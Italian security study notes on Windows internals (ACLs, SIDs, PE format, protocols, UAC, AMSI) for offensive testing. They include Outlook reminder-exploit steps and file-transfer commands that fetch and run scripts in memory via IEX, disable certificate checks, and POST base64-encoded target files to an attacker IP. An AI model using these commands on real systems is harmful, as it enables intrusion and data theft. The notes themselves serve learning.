home-> nuovo appuntamento-> icona calendario in basso a sinistra-> promemoria impostato a 0 minuti-> ora scarichiamo il plugin OutlookSpy che permette di sbloccare tutte le funzionalità di outlook-> outlookspy-> oggetto corrente-> ReminderOverrideDefault e ReminderPlaySound modificati a TRUE mentre ReminderSoundFile con UPN malevolo-> avvia-> inviare l'email #passi per eseguire la vulnerabilità

Windows Internals:

Sezione dedicata all'approfondimento degli internals di windows, al suo funzionamento e come è composto

Processi di avvio

Schema per semplificare la spiegazione dei processi:

system (Primo processo, colui che da il via a tutto)

Sytem crea:

smss.exe (Session Manager Subsystem ,processo che crea nuove sessioni e variabili d'ambiente, si termina da solo)

smss.exe crea:

win32k.sys (kernel mode, si occupa della GUI di windows)
winsrv.dll (user mode, gestisce le attività legate alla creazione, gestione e interazione con il desktop di Windows)
csrss.exe (user mode, responsabile della Win32 console, creazione e eliminazione di thread, rende disponibile le API ad altri processi)

csrss.exe crea:

winlogon.exe (session 1, sessione utente si occupa del logon e logoff utenti e carica il profilo dell'utente dopo il logon)
wininit.exe (session 0, una sessione isolata per il sistema operativo windows, si occupa dell'avvio)

wininit.exe crea:

explorer.exe (si occuppa dell'accesso a file e cartelle per l'utente)
lsass.exe (Local Security Authority) e lsaiso.exe(processo collegato con credential guard and keyguard, lo si vede solo se attivi)
services.exe (Service control manager, si occupa di tutto quello che riguarda i servizi)

services.exe crea:

svchost.exe (Host process, si occupa di ospitare e controllare un servizio, è completamente gestito da services.exe)

Approfondimenti per gli esegubili sopra elencati:

services.exe: gestisce un DB con i vari servizi ed è possibile interrogarlo con l'eseguibile "sc.exe", inoltre troviamo altre informazioni nelle chiavi di registro "HKLM\System\CurrentControlSet\Services" è anche responsabile al settaggio del LastKnownGood (Una sorta di backup per windows).

svchost.exe: I servizi runnati da questo processo sono implementati come DLL e sono immagazzinate nella subkey Parameters a questo path "KLM\SYSTEM\CurrentControlSet\Services\SERVICE NAME\Parameters", per vederli basta fare click desto su process hacker, notiamo il servizio che runna, se rifacciamo click destro su "Proprietà", otterremo maggiori info, una cosa è importante che vi sia la flag -k che è il key identifier.

Tools:

Vari sono i tool per tenere d'occhio i processi, ne elenchiamo alcuni:

Process Hacker
Procmon della suite dei sysinternal
TaskManager integrato in windows (N.B è consigliato nella sezione "Details" di aggiungere le colonne "Image Path Name" e "Command Line" per vedere cosa un processo fa e il suo path)

Secure Descriptor:

Il secure desscriptor in ambiente windows lo troviamo formalizzato in SDDL (Security Descriptor Definition Language) e viene utilizzato per gestire la sicurezza degli oggetti; dobbiamo parlare di questa feature in quanto ne fanno parte: "SID utente", "SID gruppo", "DACL con relative ACE" e "SACL" delle componenti importanti da sapere

Struct del secure descriptor:

typedef struct _SECURITY_DESCRIPTOR {
  BYTE                        Revision;
  BYTE                        Sbz1;
  SECURITY_DESCRIPTOR_CONTROL Control;
  PSID                        Owner;
  PSID                        Group;
  PACL                        Sacl;
  PACL                        Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

Parlando a basso livello della struct un campo che ritorna molto utile è il "Control" con le sue voci:

SE_DACL_AUTO_INHERIT_REQ 0x0100
SE_DACL_AUTO_INHERITED	 0x0400
SE_DACL_DEFAULTED	 0x0008
SE_DACL_PRESENT		 0x0004
SE_DACL_PROTECTED	 0x1000
SE_GROUP_DEFAULTED	 0x0002
SE_OWNER_DEFAULTED	 0x0001
SE_SACL_AUTO_INHERIT_REQ 0x0200
SE_SACL_AUTO_INHERITED	 0x0800
SE_SACL_DEFAULTED	 0x0008
SE_SACL_PRESENT		 0x0010
SE_SACL_PROTECTED	 0x2000
SE_SELF_RELATIVE	 0x8000

Tutte le flag binarie possono rappresentare una combinazione esempio "0x1104" che indica: "SE_DACL_PROTECTED" + "SE_DACL_AUTO_INHERIT_REQ" e "SE_DACL_PRESENT". Per visionarle va eseguita la "Live Kernel Debugging" con windbg

N.B: La più semplice ma anche la più importante è SE_DACL_PRESENT perchè se presente significa che vi sono dei permessi se non presente invece indica che tutti possono accedervi

Esempio di Secure Descriptor:

Get-Acl <nome oggetto> | fl * #comando per recuperare il secure descriptor sotto la voce SDDL

ES: SDDL: O:S-1-5-21-3533899135-2953526157-3118324683-1001G:S-1-5-21-3533899135-2953526157-3118324683-1001D:AI(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-3533899135-2953526157-3118324683-1001)

O:S-1-5-21-3533899135-2953526157-3118324683-1001 campo che specifica il SID dell'owner

G:S-1-5-21-3533899135-2953526157-3118324683-1001 campo che specifica il SID del gruppo

D:AI(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-3533899135-2953526157-3118324683-1001) campo che indica DACL

Componenti:

SID utente:

Il SID (Security Identifier) utente è un identificatore univoco di sicurezza assegnato in questo caso agli utenti nel sistema

Esempio di SID:

S-1-5-21-3533899135-2953526157-3118324683-504

S-1 identifica il tipo di SID cioè quello di sicurezza

5 indica che il SID è valido dalle versioni di Windows NT 4.0 in su

21-3533899135 identifica l'autorità di sicurezza

2953526157-3118324683-504 identifica il RID (Relative Identifier) dell'utente, all'interno dell'autorità di sicurezza

N.B: I RID degli utenti sono da tenere in mente perchè sono utilizzati per una tecnica di enumerazione utenti chiamata "rid-brute" tramite il tool CrackMapExec

SID gruppo:

Il SID dei gruppi ha lo stesso funzionamento del SID utente ma differisce nella struttura

Esempio di SID:

S-1-5-32-580

S-1 identifica il tipo di SID cioè quello di sicurezza

5 indica che il SID è valido dalle versioni di Windows NT 4.0 in su

32 identifica l'autorità di sicurezza, in questo caso il gruppo utenti

580 identifica il RID (Relative Identifier) del gruppo, all'interno dell'autorità di sicurezza

N.B: I RID dei gruppi sono da tenere in mente perchè sono utilizzati per una tecnica di enumerazione dei gruppi tramite il tool CrackMapExec

DACL:

DACL o ACL (Discretionary Access Control List | Access Control List) è metodo per implementare il controllo di accessi ai determinati oggetti di sistema (file, cartelle, utenti, gruppi e ecc...)

Struct delle DACL:

typedef struct _ACL {
  BYTE AclRevision;
  BYTE Sbz1;
  WORD AclSize;
  WORD AceCount;
  WORD Sbz2;
} ACL;

Differenza delle policy: DAC, MAC, RBAC, e ABAC:

Conoscere le diverse policy per il controllo degli accessi fornisce una panoramica generale delle diverse differenze che possiamo trovare, quali:

I DAC = Discretionary Access Control = questa policy permette che il proprietario di un oggetto possa decidere a suo piacimento a chi dare i vari permessi e di che tipo

II MAC = Mandatory Access Control = questa policy obbliga ad utilizzare permessi che non possono essere cambiati da nessuno utente

III RBAC = Role Based Access Control = questa policy specifica i permessi in base al ruolo degli utenti nel sistema

IV ABAC = Attribute-Based Access Control = questa policy specifica i permessi in base ad attributi assegnati ad utenti ed oggetti

Comandi per listare le ACL:

Esistono 2 tool per listare le ACL e sono: "dsacls" viene utilizzato in ambiente AD mentre il secondo "icacls" è utilizzato in ambiente windows normale

dsacls:

dsacls "<distinguished name oggetto>" #comando per listare le ACE

dsacls "<distinguished name oggetto>" /G "<nome utente>":"<permessi>" #comando che aggiunge un permesso

dsacls "<distinguished name oggetto>" /R "<nome utente>":"<permessi>" #comando che rimuove un permesso

dsacls "<distinguished name oggetto>" /I:S #comando che abilita l'ereditarietà

dsacls "<distinguished name oggetto>" /I:D #comando che disabilita l'ereditarietà

icacls:

icacls "<distinguished name oggetto>" #comando che lista le ACE

icacls "<distinguished name oggetto>" /grant "<nome utente>":"<permessi>" #comando che aggiunge un permesso

icacls "<distinguished name oggetto>" /remove "<nome utente>":"<permessi>" #comando che rimuove un permesso

icacls "<distinguished name oggetto>" /inheritance:e #comando che abilita l'ereditarietà

icacls "<distinguished name oggetto>" /inheritance:d #comando che disabilita l'ereditarietà

3.1) ACE:

ACE (Access control entries), regole che chiariscono effettivamente i permessi

Struct e struttura delle ACE:

typedef struct _ACE_HEADER {
  BYTE AceType;
  BYTE AceFlags;
  WORD AceSize;
} ACE_HEADER;

Acess Mask

SID

Tipi di ACE:

Le ACE qui listate sono quelle che troviamo a basso livello parlando di chiamati API. Esistono anche ulteriori ACE con la scritta "Object" di mezzeo esempio "ACCESS_DENIED_OBJECT_ACE" significa che sono utilizzate solo in ambiente AD

Access Allowed
Access Denied
Access Allowed Object
Access Denied Object
Access Allowed Callback
Access Denied Callback
Access Allowed Object Callback
Conditional Claims

Mentre quelle ad alto livello per essere più chiari e precise sono: Full control, specials, change password e ecc...

Access Mask:

Le ACE indicano i permessi garantiti però nell'effettivo il lavoro di andare poi a specificarli parlando di basso livello spetta alla access mask, un valore a 32 bit che specifica i permessi, ecco una tabella per spiegare l'ordinamento dei bit:

31	30	29	28	27 26 25	24	23 22 21 20 19 18 17 16	15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
GR	GW	GE	GA	Riservati	AS	Diritti standard	Diritti specifici degli oggetti

Abbiamo poi il caso dell'access mask degli objects nel sistema AD, quest'ultima è leggermente differente:

0	1	2	3	4	5	6	7	8	9	10	1	2	3	4	5	6	7	8	9	20	1	2	3	4	5	6	7	8	9	30	1
GR	GW	GX	GA	x	x	x	x	x	x	x	x	WO	WD	RC	DE	x	x	x	x	x	x	x	CR	LO	DT	WP	RP	VW	LC	DC	CC

Legenda:

AS: Access DACL
GR: General Read
GW: General Write
GX: General Execute
GA: General All
WO: Write Owner
WD: Write Dacl
RC: Read Control
DE: Delete
CR: Control Access
LO: List Object
DT: Delete Tree
WP: Write Property
RP: Read Property
VW: Validate Write
LC: List Children
DC: Delete Child
CC: Control Child

Infine abbiamo poi la presenza degli Extended Access Rights Objects e Validated Writes

SACL:

SACL (System access control list) funzione che esegue audit degli accessi. Determina quali eventi vengono registrati nel log di sicurezza quando determinate azioni vengono eseguite su un oggetto, come l'accesso o la modifica, anche esso contiene delle proprie ACE

Register Keys

il Registro di sistema (o Registro Windows) è un database gerarchico che contiene le impostazioni, le configurazioni e altre informazioni cruciali per il corretto funzionamento del sistema operativo e delle applicazioni installate è organizzato in key e subkeys le quali sono:

HKEY_CLASSES_ROOT (HKCR): Questa chiave contiene le associazioni tra estensioni di file e programmi, e definisce come le applicazioni si comportano quando si lavora con tipi di file specifici e in realtà e un insieme delle chiavi HCKU e HKLM
HKEY_CURRENT_USER (HKCU): Questa chiave contiene le impostazioni specifiche dell'utente che sta effettuando l'accesso al sistema. Ad esempio, impostazioni personalizzate, preferenze, stampanti e altro ancora.
HKEY_LOCAL_MACHINE (HKLM): Questa chiave contiene le impostazioni relative al computer locale. Qui sono presenti informazioni sul software installato, hardware, configurazioni di sistema e altro ancora.
HKEY_USERS (HKU): Questa chiave contiene i profili degli utenti attualmente registrati sul computer. Ogni utente avrà un sottoalbero in questa chiave, simile alla struttura di HKCU.
HKEY_CURRENT_CONFIG (HKCC): Questa chiave contiene informazioni sulla configurazione hardware attuale del computer. Viene creato dinamicamente durante l'avvio del sistema.

Sono importanti da conoscere perchè da lato attaccante possono causare bei danni, dal lato difesa possono essere fonti di informazioni per capire eventuali attacchi ricevuti.

API

I programmi molte volte hanno bisogno di comunicare con la componente hardware o con il sistema stesso di windows è cosi che nascono le Win 32 Api, librerie che fanno da interfaccia tra la user-mode delle applicazione e il kernel.

N.B: esistono tue tipi di accesso all'hardware: User-mode(no accesso diretto all'hardware, propria locazione di memoria) Kernel-mode(Accesso diretto ad hardware e memoria fisica).

Componenti delle API:

Header file: Definisce le librerie da importare durante il run-time, il programma a cui servono utilizzerà dei puntatori per reperirle.
Core DLLs: gruppo di DLL che definisco la struttura di chiamate.

ES: (KERNEL32, USER32, ADVAPI32) queste definiscono i servizi user e kernel.

DLLs supplementari: DLL che controllano parti del subsystem di windows OS, sono 36.
Call Structures: Definisce la API stessa e i parametri da passargli.

ES:

BOOL WriteProcessMemory(
[in]  HANDLE  hProcess,
[in]  LPVOID  lpBaseAddress,
[in]  LPCVOID lpBuffer,
[in]  SIZE_T  nSize,
[out] SIZE_T  *lpNumberOfBytesWritten
);

API Calls: chiamate della API utilizzate in un programma con gli indirizzi alle funzioni
Input output parametri: il valore definito dalle call structures

Ogni API call della libreria WIN32 risiede in RAM e ogni call richiede un puntatore a un indirizzo di memoria, perà il tutto è oscurato dall'ASLR(Address Space Layout Randomization) che comunque alla fine può essere bypassato con vari metodi tipo:

Header file (windows.h):

Quando questo header file è incluso nel nostro Unmanaged program(cioè il nostro programma, compilato e runnato) ogni funzione di win32 può essere chiamata durante il run-time, il loader capisce quale chiamate vengono utilizzate, creando una sorta di tabella con i vari indirizzi di memoria o puntatori di indirizzi per le funzioni.

P/Invoke: Altro metodo, come primo passo importiamo la DLL che ci serve, poi definiamo un managed method (metodo controllato dall'OS) come esterno che potremo richiamare come vorremmo.

Esempio codice di un'API:

Dichiarazione e riempito dei parametri di un'API call:

HWND hwnd = CreateWindowsEx(
0, 
CLASS_NAME, 
L"Hello World", 
WS_OVERLAPPEDWINDOW, 
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 
NULL, 
NULL, 
hInstance, 
NULL
);

Implementazione API in .NET e powershell:

class Win32 {
[DllImport("kernel32")]
  public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}

static void Main(string[] args) {
  bool success;
  StringBuilder name = new StringBuilder(260);
  uint size = 260;
  success = GetComputerNameA(name, ref size);
  Console.WriteLine(name.ToString());
}

$MethodDefinition = @"
  [DllImport("kernel32")] #importiamo la DLL
  public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); #importiamo la api call
  [DllImport("kernel32")]
  public static extern IntPtr GetModuleHandle(string lpModuleName);
  [DllImport("kernel32")]
  public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

"@; #in powershell vanno definite dentro ad un metodo,

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; #va creato un nuvo tipo per i puntatori di win32DLL. inoltre verrà creato un file temporaneo che compilerà queste DLL con csc.exe.

Win32.Kernel32]::<Imported Call>() #comando per utilizzarle

PE (Portable Executable):

PE è una struttura dati che contiene le informazioni necessarie per i file, programmi e DLL, inoltre le componenti già citate avendo una struttura del PE uguale, possono lavorare sia su windows ad architettura x86 e x64; quando un programma o una DLL hanno la necessità di essere runnate, windows carica il programma in RAM e poi tramite la lettura del codice all'interno del PE, lo eseguirà

Struttura PE:

Ogni header del PE è una struct, la struct permette di dichiarare molteplici variabili di diverso tipo in una singola entità cioè la struct

N.B: La struttura del PE viene spiegata partendo dall'alto verso il basso

DOS Header = prima parte in assoluta dell'header è composto da 64 bytes, riconoscibile questo header dai valori esadecimali "4D 5A = MZ (Mark Zbikowski uno dei creatori del formato MS-DOS)" inoltre questa firma identifica il PE format quindi garantisce la compatibilità con il sistema operativo infine l'header ha diverse variabili di cui una è utile la "e_lfanew" contiene l'indirizzo di dove inizia IMAGE_NT_HEADERS ed è utilizzato in una tecnica di injection la Process Hollowing

DOS Stub = seconda parte dopo il DOS Header anche esso garantisce che vi sia retrocompatibilità è la tipica scritta di quando si decompila un .exe e recita "This program cannot be run in DOS mode", questa scritta comparirà solo se il PE non è compatibile

IMAGE_NT header = questo header contiene informazioni vitali per il PE ed a sua volta contiene:

NT HEADERS che contiene i campi:
1. Signature = la firma del PE infatti troviamo 4 bytes "50 45 00 00 = PE"
2. File Header = il file header contiene informazioni importanti come: Machine l'architettura del PE file scritto, NumberOfSections il numero di sezioni nel PE, TimeDateStamp data e ora di quando è stato compilato, PointerToSymbolTable e NumberOfSymbols puntatore e numero dei simboli (variabili, label e funzioni), SizeOfOptionalHeader grandezza dell'header opzionale e Characteristics le caratteristiche del PE
3. Optional Header = l'header opzionale inizia subito dopo la fine del File header, l'optional header contiene: Magic indica se il PE è a 32 o 64 bit, AddressOfEntryPoint campo importante che contiene l'indirizzo dell'entry point dove inizia il codice, BaseOfCode e BaseOfData indirizzi delle sezioni data e codice, ImageBase contiene l'indirizzo di base a cui verrà caricato il programma in memoria, Subsystem se è windows nativo GUI o CUI ed infine DataDirectory contiene le informazioni di import e export nel PE
IMAGE_SECTION_HEADER che anche lui contiene:
1. .text = contiene il codice dell'eseguibile
2. .data = contiene le variabile iniziali definite, ha i permessi lettura/scrittura ma non esecuzione
3. .rdata/.idata = contengono informazioni funzioni importate da altri file o da windows API
4. .reloc = contiene informazioni di relocazione del PE
5. .rsrc = contiene i collegamenti alle risorse esterne come: immagini, icone, manifest file ecc...
6. .ndata = contiene i dati non inizializzati
Continuiamo sempre nella IMAGE_SECTION_HEADER con altri campi importanti:
1. VirtualAddress = indica l'indirizzo virtuale a cui verrà mappato nella memoria virtuale
2. VirtualSize = indica la dimensione nella memoria virtuale
3. SizeOfRawData = indica la dimensione su disco
4. Characteristics = indica i permessi della sezione
IMAGE_IMPORT_DESCRIPTOR ci da una visione di quale API il PE ha caricato quando viene eseguito
Tools:

Esistono dei tools per vedere e controllare la struttura dei PE:

PE Explorer della suite sysinternals
PE-Tree
PEcheck per il controllo del PE esempio entropia delle sezioni

Protocolli:

Sezione riepilogativa dei protocolli interni di windows

RPC:

RPC (Remote Procedure Call) regola la comunicazione tra i processi interni di windows e tra processi su macchine windows differenti si avvale di protocolli come TCP e UDP per l'invio delle informazioni e parlando in una visione tecnica consente ad un programma di eseguire una procedura (funzione o metodo) su un altro indirizzo di spazio di indirizzamento come se fosse una chiamata locale. Viene utilizzato in: Active Directory, servizio fax, coda stampanti, COM e DCOM, ecc...

Funzionamento:

Definzione delle interfacce RPC tramite il linguaggio IDL (interface Definition Language)
Compilazione dell'IDL che genera il file
Creazione Stub Client e Server che comunicano tramite dati serializzati, vengono inviati tramite lo stack TCP/IP
Chiamata della procedura remota tramite lo stub del client che viene inviata allo stub del server
Ricezione dal server ed esecuzione della chiamata da remoto
Ritorno della risposta al client e risultato nell'applicazione

Porte:

Porta rpc dinamica va da 49152-65535

Differenza tra DCERPC e MSRPC:

La differenza è alquanto semplice, il DCERPC fu creato da "Open Software" molto tempo prima mentre MSRPC (MSRPC è uguale a RPC) è un variazione del primo creato da Microsoft

EPM (Endpoint Mapper):

EPM (Endpoint Mapper) utilizzato nella parte networking del RPC, in quanto aiuta a mappare le porti e i relativi protocolli

Funzionamento:

connessione alla porta 135 che è quella del EPM(Endpoint Mapper) un servizio del protocollo DCE/RPC che indica indirizzo e la porta per un servizio
EPM indica ip e porta (range da 49152 a 65535) del SVCCTL (Service Control Manager Interface) API per comunicare con il service control manager

2.1) se la connessione tramite RPC fallisce il client prova tramite SMB named pipes o SMB con Netbios.

COM e DCOM:

Il COM (Component Object Model) è un'interfaccia di programmazione interdipendente tra i vari linguaggi ed inoltre un protocollo di comunicazione utilizzato da: OLETools, ActiveX, Browser Helper Object, Windows Runtime. Abbiamo poi il DCOM (Distributed Component Object Model) estensione del COM utilizzato dai software per comunicare tra loro su computer diversi all'interno di una LAN si avvale del protocollo RPC

Funzionamento:

Creazione dell'oggetto COM tramite la funzione "CoCreateInstance"
Creazione dell'interfaccia COM che stabilisce metodi e proprietà utilizzato dall'oggetto
Registrazione nelle chiavi di registro dell'oggetto COM con i relativi identificatori univoci CLSID (Class Identifier), interfacce e posizione nel filesystem
utilizzo dell'oggetto COM

Porte:

Il DCOM utilizza la porta la 135 (stessa utilizzata da EPM)

LDAP:

LDAP (Lightweight Directory Access Protocol) è un protocollo per l'accesso, interrogazione e modifica di dati all'interno dell'active directory è target di tool come PowerView e Bloodhund

Funzionamento:

Nel LDAP abbiamo come organizzazione a modo di albero gerarchico (DIT) e ogni elemento è chiamato entry con il suo relativo DN (Distinguished Name) abbiamo poi uno schema LDAP che regola struttura e i tipi di dati al suo interno. LDAP permette operazione come: BInd (Autenticazione), Search, Add, Modify e Delete

Porte:

LDAP utilizza le porte 389 (standard), la 636 (SSL/TLS), 3268 (Query Global Catalog in chiaro) e 3269 (Query Global Catalog con SSL/TLS)

Winrm:

Winrm acronimo di Windwos Remote Management è un protocollo di gestione remota creato da microsoft, si accede tramite autenticazione ed è da CLI. Richiede il gruppo "Remote Management Users"

Porte:

winrm utilizza la porta 5985 (standard) e la 5986 (SSl/TLS)

RDP:

RDP (Remote Desktop Users) protocollo di gestione remote, si accede tramite autenticazione ed è da GUI. Richiede il gruppo "Remote Desktop Users"

Porte:

RDP utilizza la porta 3389

SMB:

SMB (Server Message Block) è un protocollo di rete utilizzato per la condivisione di file, stampanti, porte seriali e ecc...

Porte:

SMB utilizza le porte 139 (standard) e la 445 (SSl/TLS)

Comandi Powershell:

fl #comando per ricevere più output

ES: Get-Acl | fl

Get-Help <nome comando> -Full #comando per ottenere l'help

Update-Help -Force #comando per aggiornare gli help alla versione più recente

Select-Object #comando utilizzato per prendere un campo dell'oggetto specifico

ES: Get-LocalUser John | Select-Object LastLogon

Get-Command #comando utilizzato per sapere se un comando è presente in powershell

ES: Get-Command *User*

New-LocalUser #comando per creare nuovi utenti locali

ES: New-LocalUser -Name User -Password (ConvertTo-SecureString -AsPlainText "123456789" -Force)

New-LocalGroup #comando per creare un nuovo gruppo

ES: New-LocalGroup -Name $Group

Add-LocalGroupMember #comando che aggiunge un utente ad un gruppo

ES: Add-LocalGroupMember -Group $Group -Member $User

New-item #comando per creare file, cartelle o modificare valori

Set-item #comando per modificare file, cartelle o modificare valori

Start-service <nome servizio> #comando per avviare un servizio

ES: Start-service WinRM

Set-DnsClientServerAddress -InterfaceIndex <num indice interfaccia di rete> -ServerAddresses <ip server dns> #comando per settare il dnsclient

Set-ExecutionPolicy <tipo di policy> #comando per cambiare la execution policy

ES:

Set-ExecutionPolicy Unrestricted

Set-ExecutionPolicy Unrestricted -Scope currentuser

N.B: utile l'esempio di sopra se non si ha accesso alla chiave di registro HKLM, con la voce "currentuser" accediamo alla chiave HKLU

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #comando per avviare il subsystem di linux in windows

Comandi per i File

Get-Content -path "<file>" # comando per leggere il contenuto

ES: (Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte)

[IO.File]::WriteAllBytes(<file path>, <dati da scrivere>) #comando che dalla classe IO.FILE richiama WriteAllBytes che permette di scrivere

Expand-Archive -Path "<path file zip>" -DestinationPath "<path dove salvare il file>" #comando per decomprimere il file

Download/Upload File

Download:

Download cioè dalla nostra machine alla target machine

curl -o <nome file> http://<ip source>/<file da scaricare> #comando che da un link scarica un file e lo salva in locale

se non si ha powershell o curl possiamo usare certutil.exe di cmd

certutil.exe -urlcache -f http://<ip>/<file_da_scaricare> <nome_file_di_destinazione>

(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File>') #comando per fare un download

(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>') #comando per un download async cioè senza bloccare il calling thread

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} #comando per il bypass del certificato

E' possibile trasferire un file senza doverlo scaricare sul disco ma runnandolo direttamente in memoria:

IEX (New-Object Net.WebClient).DownloadString(<target File URL>, <Output File>) #comando che tramite IEX(Invoke-Expression) runna direttamente in memoria

Upload:

Upload cioè dalla target machine alla nostra macchina

Comandi per avviare un server upload python:

pip3 install uploadserver #modulo che permette l'avvio di un uploadserver

python3 -m uploadserver #comando per avviarlo e funzionerà sulla porta 8000

Ora insieme all'uploadserver nella macchina di origine va utilizzato lo script PSUpload.ps1

python3 -m http.server 80 #comando per avviare il python server contenente lo script

curl -o <nome eseguibile>.ps1 https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1 #comando per scaricare l'eseguibile 
dal sito web

IEX(New-Object Net.WebClient).DownloadString('http://<nostro_ip_locale>:<nostra_porta>/PSUpload.ps1') #comando variante che senza scaricare lo script lo 
runna direttamente

. .\PSUpload.ps1 #comando per runnare lo script

Invoke-FileUpload -Uri <URL da dove fare upload> -File <Path file di cosa uplodare> #comando dello script .ps1 per fare upload dei file

Upload tramite encoding in base64:

$b64 = [System.convert]::ToBase64String((Get-Content -Path '<file target>' -Encoding Byte))
#variabile che stora il base64 del file

Invoke-WebRequest -Uri <ip server>:<porta> -Method POST -Body $b64 #inviamo il base64 del file tramite richiesta POST

nc -lvnp <porta> #comando che apre un listener pronto a mostrarci il base64

Upload tramite encoding con certuil:

certutil -encode <nome file> <nome file encodato> #comando per encodare il file

Invoke-FileUpload -Uri <URL da dove fare upload> -File <Path file di cosa uplodare> #comando dello script .ps1 per fare upload dei file

certutil -decode <nome file encodato> <nome file> #comando per decodare il file

Possibile pure decodificarlo con il sito CyberChef passando il file in input

SMB server:

Comando per avviare il server SMB per l'upload e download:

smbserver.py <nome share online> <path directory locale che condividi> #comando che avvia in smbV1 il server

smbserver.py <nome share online> -smb2support <path directory locale che condividi> #comando per avviare il server con smbV2

copy <path del file da uplodare> \\<ip della destinazione dove mandare>\<nome share a cui accedere> 
#comando per fare upload, facendo una copia sul server SMB upload

copy \\ip sorgente da cui scaricare\<nome share>\<file da scaricare> <Path locale di dove salvarlo> #comando per scaricare dal server SMB

GUI Host machine (SMB):

Questo metodo possiamo utilizzarlo quando abbiamo accesso ad uno share SMB di una windows target, piuttosto di fare il mount da CLI (molto instabile), possiamo utilizzare la GUI

Comandi:

In alto a destra directory menu-> Open Folder-> Network-> clicchiamo Browse Network e attendiamo-> barra di ricerca inseriamo smb://<ip>/<nome share> inseriamo le credenziali se servono ed abbiamo fatto #passi per montare uno share SMB con GUI nella host machine

comandi ADS:

ADS (Alternate Data Streams), feature che permette di avere molteplici flussi di dati in un singolo file

Lista di comandi utili per gestire gli ADS:

Get-Item -path <path> -stream * #comando che ottiene tutti gli ADS

set-content -path <path del file> -stream <nome del nuovo stream> -value <contenuto per lo stream> #comando che crea un nuovo ADS con il contenuto indicato

gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' #comando che cerca in tutto il filesystem la presenza di ADS

remove-item –path <path al file> –stream <nome stream da rimuovere> #comando che rimuove lo stream su un determinato file

Get-Content -path <path del file da leggere>:<nome dell'ADS> #comando per leggere il contenuto dello stream di un file

Security:

Conoscere i meccanismi di sicurezza nel sistema windows è fondamentale per capire poi il relativo funzionamento dei vari Bypass

UAC:

UAC (User Access Control) utilizzato per non fare eseguire codice o script malevoli, in quanto richiede i priviliegi di amministratore, è anche all'interno delle MIC(Mandatory Integrity Control) un meccanismo che assegna a utenti, gruppi e processi un IL(Integrity Level) più è alto il livello e più puoi fare cose nel sistema

per comprendere appieno l'UAC prima bisogna capire cosa è IL(Integrity Level) e la sua divisione in 4 livelli:

*Livello*	*Descrizione*
Low	Utilizzo solo dell'explorer dei file
Medium	Per utenti normali e amministratori con il filtered token
High	Amministratori con elevated token
System	Livello utilizzato dall'utente system

Ogni IL è poi assegnato ad un UAC token che può essere di diversi tipi:

Non-administrators = singolo token utilizzato dagli utenti a IL medium

Administrators hanno 2 token a loro volta:

*Token*	*Descrizione*
Filtered Token	Token per amministratori con meno privilegi, corrisponde al livello Medium
Elevated Token	Token con i pieni privilegi, corrisponde al livello High

Ora possiamo passare al suo funzionamento parlando in maniera dettagliata dei vari passaggi che la contraddistinguono:

l'utente richiede di runnare un'applicazione come amministratore
viene fatta la chiamata alle API ShellExecute che impostando il runas verb apre una shell per elevare i privilegi e in questo modo attivare il meccanismo di UAC
la richiesta viene girata al service AppInfo.exe che a sua volta andrà a controllare l'application manifest per checkare una possibile autoelevation
verrà poi runnato consent.exe che permette di elevare i privilegi, consent.exe verrà runnato in un secure desktop, un desktop che isola i processi per evitare la compromissione dell'UAC
l'esito se positivo farà in modo che il nuovo processo creato punti alla shell creata in precendenza per elevare i privilegi.

Sopra se notiamo bene viene menzionata l'autoelevation, bene è una peculiarità sempre correlata alla user access control e riguarda gli eseguibili i quali possono essere avviati senza il controllo da parte dell'UAC però devono soddisfare dei requisiti:

Firmati da Windows Publisher (infatti quasi tutte le funzionalità del pannello di controllo e alcuni eseguibili rientrano nell'autoelevetion)
essere all'interno di directory fidate come C:\WINDOWS\System32 o C:\Program files

Ulteriori info per l'autoelevation:

.exe devono aver segnato l'autoElevate nel proprio manifest tool per il controllo del manifest è sigcheck

C:\path di sigcheck.exe -m <Path eseguibile da vedere> #comando per leggere il manifest

.mmc.exe(microsoft management console) a seconda poi degli .msc snap richiesti ma in genere ha l'autoelevation

N.B: la UAC può essere modificate nella voce "UAC settings".

AMSI:

L'AMSI (Anti-Malware Scan Interface) è un runtime detection integrato con powershell che scannerizza il codice prima che venga runnato e determina se malevolo o meno, viene avviato da defender e evita che lo script malevolo venga runnato nel .NET runtime ed è completamente integrato con:

User Account Control, or UAC
PowerShell
Windows Script Host (wscript and cscript)
JavaScript and VBScript
Office VBA macros

L'AMSI è orchestrato dalla "System.Management.Automation.dll" (.NET assembly sviluppato da Windows) e anche dalla "amsi.dll", a seconda del tipo di script o applicazione, vi sono diverse DLL che analizzano il codice tipo:

Powershell, VBScript = Win32 API-> AMSI.h, AMSI.lib, AMSI.dll-> AmsiScanBuffer() o AMSIScanString()
altre applicazioni = COM API-> Amsi.h, Amsi.dll-> lAntimalware::Scan()
Antivirus = lAntimalwareProvider::Scan()

Windows defender invece sfrutta le DLL MPEngine.dll e MPSvc.dll

L'AMSI si attiva quando lo script è caricato in RAM e poi eseguito dal "CLR (Common Language Runtime)" se invece lo script è nella memoria di massa non si attiva

AppLocker:

Applocker è un'applicazione di windows (vers. Enterprise) che permette di controllare quali programmi possono essere avviati da remoto o dal proprio pc da determinati utenti, e lo fa tramite delle regole specifiche quali: regole di esecuzione, controllo delle versioni, regole di condizione e audit generali

Vi sono dei metodi di bypass qui

WDAC:

